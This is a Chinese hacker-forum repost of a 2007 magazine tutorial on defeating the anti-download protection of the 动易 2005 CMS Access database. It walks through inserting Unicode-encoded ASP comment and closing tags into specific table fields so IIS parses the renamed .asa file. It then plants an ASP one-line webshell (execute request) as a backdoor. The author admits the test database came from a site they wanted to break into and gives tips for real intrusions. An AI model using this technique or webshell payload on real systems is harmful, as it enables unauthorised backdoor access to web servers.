标题:
如何突破数据库Loop防下载实例
[打印本页]
作者:
柔肠寸断
时间:
2008-7-25 08:39
标题:
如何突破数据库Loop防下载实例
[原创]如何突破数据库Loop防下载实例文章作者:平安年间[S.H.C] (
http://vip8.org
)
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com
)
此文发表于<<黑客手册>>2007年第六期,文章版权属于黑客手册。
用于测试的环境:
动易2005免费版下载地址:
http://down.chinaz.com/s/14661.asp
此版本相对于以前的版本几乎都补了漏洞了,什么上传漏洞,在顶部菜单里写一句话,都不行了,今天也不讨论是否还存在其它的漏洞,只是讨论一下如何备份数据库来拿shell。
先来说一下动易对数据库的处理:
动易在数据库里增加了一个表:PE-NotDown
在这个表里写入了十六进制数据:3C25206C6F6F70203C25
有人会不明白这个数据到底是什么东西啊,看也看不懂,其实这一串数据是”<%
loop
<%”的十六进制形式。虽然在数据表中是以十六进制的形式存在,但如果将mdb的数据库以asp的形式来解析的话,那就会以字符形式显示。略懂一点asp语法的人都知道"<%
loop
<%"是无法闭合的,而且
loop
也没有任何的do或是exit do来与之配对。我也曾试过很多次,都没有将其闭合。那么到底要怎么样才能将其闭合呢,其实说出来大家一定也觉得这不是很简单的吗,呵呵。比如下面一段代码:
<%
loop
<%
将其保存为一个asp文件解析时会提示,没有闭合,少了(% >),如下图:
01.JPG
(14 KB)
2007-7-19 00:42
如果我们在后面加上一个"%>",还是会出错,那么到底要怎么样才能记将这段代码的功能去掉呢,大家再看下面一段代码:
<%'<%
loop
<%:%>
这段代码在IIS里运行是没有任何错误的,根据这段代码的原理,于是我们便有了突破的可能性,只要我们在数据库里的两个地方合适地插入"<%'"和":%>"( 在数据库中有时不要冒号也可以)即可将
loop
的防下载给过滤掉,相信大家看到这里也应该明白是怎么回事了。
上面讲的都是原理,我在本地对动易2005的数据库进行了测试,我们来看一下测试结果.(本次测试没有任何针对性,只作研究之用,对此方法的公布,本人不负任何责任)
首先安装动易,这个版本的动易基本上修补了一些漏洞,现在不谈是否有其它漏洞,只谈对数据库进行突破。我测试用到的数据库是从一个网站上下下来的数据库,因为一直想入侵这个网站,只拿到了数据库,所以在研究过程中研究的就是这个数据库,文章中所测试也也是这个数据库。下下来之后先将数据库进行备份,以后测试都用它的一个副本进行测试,因为在改动access的数据时是有些东西要注意的(后面会提到)。我们先将动易的数据的后缀名改成asa的,然后在iis里打开,打开结果跟上一幅图是一样的,也是出现少"% >"的错误,这便是动易的防下载处理。然后我们用UltraEdit打开动易的数据库,选择十六进制编辑,然后"<%"我们可以定位到如下的地方:
02.JPG
(17 KB)
2007-7-19 00:42
我们可以看到显绿的一栏里可以看到"<%
loop
<%"这样的语句,证实了我们前面的说法,我们继续后发现只在
loop
的前后共有两个"<%",也就是是无法闭合的一条语句。那么我们要如何突破呢?前面也讲到了,在asp的语法里,单引号起注释的功能,我们是不是可以在它的前面加上注释的语句呢,再在另一个地方再插入闭合语句那不是可以进行突破了?打开数据库的表设计,我们先找一个地方来将它进行毕合,我们看到表PE-NotDown前后的表结构如下:
03.JPG
(12 KB)
2007-7-19 00:42
在这里,是不是可以在PE_NotDown的前面的一个表里加入代码将其后面的asp代码注释掉?进行测试吧,我选了PE_NewKeys,打开后在里面插入了一行代码,这里我用到了lake2的一个ascii2unicode的工具将代码"<%'x"(为什么后面有个x,其实用其它的字符也可以,只要转换的结果不出现问号即可)转换成"┼砧"(这样转换首先是在后台进行修改变得可行的,因为没有什么特殊字符,而且转换后的数据库改名为asa进行解析时能返回成原来的字符,如果需要知道具体情况,请去lake2的博客看),然后插入进去,如图:
04.JPG
(9 KB)
2007-7-19 00:42
保存后我们再将数据改为asa的后缀后打开,错误如第一幅图,少关闭符"% >",我们再用UltraEdit打开,"<%",搜到的第一个是与第二幅图是一样的,在第458行那里找以了
loop
语句,继续向下搜两次,我们在19118行那里搜到了我们刚刚插入的数据库,如下图:
05.JPG
(10 KB)
2007-7-19 00:42
我们来分析一下:"<%
loop
<%"是PE_NotDown里的数据,而"┼砧"是PE_NewKeys里的信息,虽然在表结构里PE_NewKeys排在PE_NotDown的前面,但能过asa解析后"<%
loop
<%"却在前面显示,因此access的数据改成asa的解析后其数据的出现顺序是发生了变化了的。那么我们要怎么样才能让其显示在前面呢,由于不知道其具体的结构顺序,我选择了穷举法。从第一个表开始,向每个字段里插入"┼砧",然后通过UltraEdit查看,看哪个会出现在前面,每次插入数据前都是用的原始动易数据库的一个副本,因为在access里,你将某条记录删除,虽然在表结构里看不到了,但其还是存在于数据库里,用UltraEdit还是能看到,只有对数据库进行压缩后那些删除的记录才会真正的删掉(这里说的压缩并不是用winrar压缩的那一种,而且access的压缩功能)。每次插完数据后再用UltraEdit字符"<%",便于更好的定位.
在一次一次的测试中,当试到PE_channel这个表时,问题出现转机。我们来看一下,打开数据表,定位到PE_channel这个表,在字段ChannelName里在"研究院新闻"的后面加入"┼砧",如图:
06.JPG
(11 KB)
2007-7-19 00:42
保存后再用UltraEdit打开数据,用十六进制进行编辑,"<%",我们搜到的第一个结果如下图:
07.JPG
(11 KB)
2007-7-19 00:42
此时第一个出现的"<%"就不是原来的与
loop
相连的那个了,也就是说我们现在在
loop
前面就插入了一个asp标记符"<%",此时我们还得在
loop
后面的某一处地方再插入"%>"才能让其闭合,同样我采用穷举法测试后找到了另一个插入点。我们在最后一个标题后面加个"┠砾"(这是由" %>x"转换过来),如下图:
08.JPG
(11 KB)
2007-7-19 00:42
保存后再用UltraEdit查看,"%>x",在第7546行那里找到了我们刚刚插入的信息,如下图:
09.JPG
(8 KB)
2007-7-19 00:42
我们现在来总结一下:
一共插入了两次数据:
第一次在插入的数据"┼砧"在第189行被解析成asp语句"<%'x"
第二次插入的数据"┠砾"在第7546行被解析成asp语句"%>x"
而动易原来防下载的语句"<%
loop
<%"是出现在第458行,正好处于两次插入的数据中间.此时我们将数据改名*.asa后在iis里解析,结果如下图:
10.JPG
(59 KB)
2007-7-19 00:42
此时有一部分数据被解析出来了,那么我们的突破就达到了效果,于是我们想到将第一次插入的数据后面再加上"execute request("#")"不是可以拿到一个后门了?于是我将字符串“<% execute request("#")%>a<%'x”转换成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾┼砧”后插入到第一次插入数据的地方,如图:
11.JPG
(12 KB)
2007-7-19 00:42
再用UltraEdit查看插入的结果到我们插入的数据如下图:
12.JPG
(13 KB)
2007-7-19 00:42
我们发现刚插入的数据出现在了第7405行,与第一次插的第189行,相差甚远,而且由于没有把
loop
语句包进去,数据库也无法解析了。于是我们只好退回到上一步,再找其它的地方下手。后来找了很久也没有找到,于是又回去研究能在IIS里显示的信息,我们看到如下图:
13.JPG
(42 KB)
2007-7-19 00:42
大家看到这里有很多的“jpg|jpeg”等什么的,我们可以想到这里是保存上传类型数据的地方,我们可不可以将一句话马插到这里让它被解析呢。好了我也不再费话了,还是重新复制一个原始数据的复本,先按原来的步骤在ChannelNamer第一个标题和最后一个标题后面插入相关数据(照前面的方法进行),然后我将一句话马“<% execute request("#")%>a”转成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾”后插入到以下地方,如下图:
14.JPG
(14 KB)
2007-7-19 00:42
用UltraEdit打开后在第196行到“execute”,如下图:
15.JPG
(11 KB)
2007-7-19 00:42
在第189行到“<%' x”,如下图:
在第483行到
loop
,如下图:
在第7403行搜到了我们的asp闭合语句,如下图:
我已按先后顺序将其用图示标出,一句话后门在最前面,应能执行了。我们在iis里找开后得到结果如图19(打开时间有点长,根据数据库的大小):
我们的一句话马成功执行,这样就突破了数据库的防下载功能,并能通过数据备份来获得后门。
后记:写完这篇文章之后,我用了其它动易2005的数据库进行了测试,按同样的方法进行插入,但没有得到想要的结果,看来这种方法是具体数据库要具体分析的,不同的数据库插入数据的地方是不同的,即使是同一数据库,只要数据发生变化了,插入的地方也可能是不同的,大家如果实验的话就得先按上面的方法进行插入和定位才行,切记在入侵中不可照搬,最好先将网站数据备份,如果不行还可以还原回来。有些要注意的地方,如果数据过大,用IIS打开时IIS可能会挂掉,机子性能要好。
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./)
Powered by Discuz! 7.2